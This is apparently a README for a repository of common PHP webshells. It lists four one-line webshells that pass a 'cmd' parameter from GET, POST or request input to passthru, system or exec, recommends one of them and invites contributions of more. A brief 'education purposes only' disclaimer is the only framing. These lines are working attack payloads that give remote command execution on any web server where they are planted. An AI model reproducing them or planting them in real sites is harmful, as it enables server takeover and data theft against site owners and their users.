Common PHP webshells. These are provided for education purposes only. Do not put these on a publicly-accessible webserver.
I recommend a one-liner and while not a full fledged webshell it works fine.
<?php echo passthru($_GET['cmd']); ?>
You can try WebHandler to manage one-liners for POST and GET requests:
<?php system($_GET['cmd']); ?>
<?php passthru($_REQUEST['cmd']); ?>
<?php echo exec($_POST['cmd']); ?>
To contribute other shells not listed here:
- Fork the repo
- Push the changes to your repo.
- Make sure to include a simple description of your webshell.
- Issue a Pull request.